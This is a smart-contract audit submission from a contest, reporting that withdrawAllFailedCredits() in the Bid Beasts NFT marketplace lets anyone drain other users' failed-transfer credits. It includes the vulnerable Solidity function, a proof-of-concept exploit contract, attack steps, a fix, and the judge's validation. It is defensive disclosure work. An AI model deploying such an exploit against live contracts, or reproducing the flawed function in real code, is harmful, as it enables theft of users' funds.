Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

### [H-1]: Access Control Violation in `withdrawAllFailedCredits()` Function

[H-1]: Access Control Violation in withdrawAllFailedCredits() Function

Severity: High
Impact: Fund Theft
Likelihood: High

Description:
The withdrawAllFailedCredits() function contains a critical access control bug that allows any user to withdraw failed transfer credits belonging to other users.

Vulnerable Code:

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver]; // Gets _receiver's credits
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0; // Clears msg.sender's credits
(bool success, ) = payable(msg.sender).call{value: amount}(""); // Pays msg.sender
require(success, "Withdraw failed");
}

Attack Scenario:

  1. Alice has 1 ETH in failedTransferCredits[Alice]

  2. Bob calls withdrawAllFailedCredits(Alice)

  3. Bob receives Alice's 1 ETH while Alice's credits remain unchanged

  4. Bob can repeat this to drain Alice's credits entirely

Proof of Concept:

// Exploit contract
contract ExploitWithdrawal {
BidBeastsNFTMarket marketplace;
constructor(address _marketplace) {
marketplace = BidBeastsNFTMarket(_marketplace);
}
function stealCredits(address victim) external {
// Check victim's failed credits
uint256 victimCredits = marketplace.failedTransferCredits(victim);
require(victimCredits > 0, "Victim has no credits");
// Steal victim's credits - this will succeed!
marketplace.withdrawAllFailedCredits(victim);
// Now this contract has victim's ETH
// Victim's credits remain unchanged, can be stolen again
}
receive() external payable {}
}

Attack Steps:

  1. Deploy exploit contract

  2. Call stealCredits(victimAddress)

  3. Attacker receives victim's failed transfer credits

  4. Victim's credits remain in mapping, can be drained repeatedly

Recommended Mitigation:

function withdrawAllFailedCredits() external {
uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!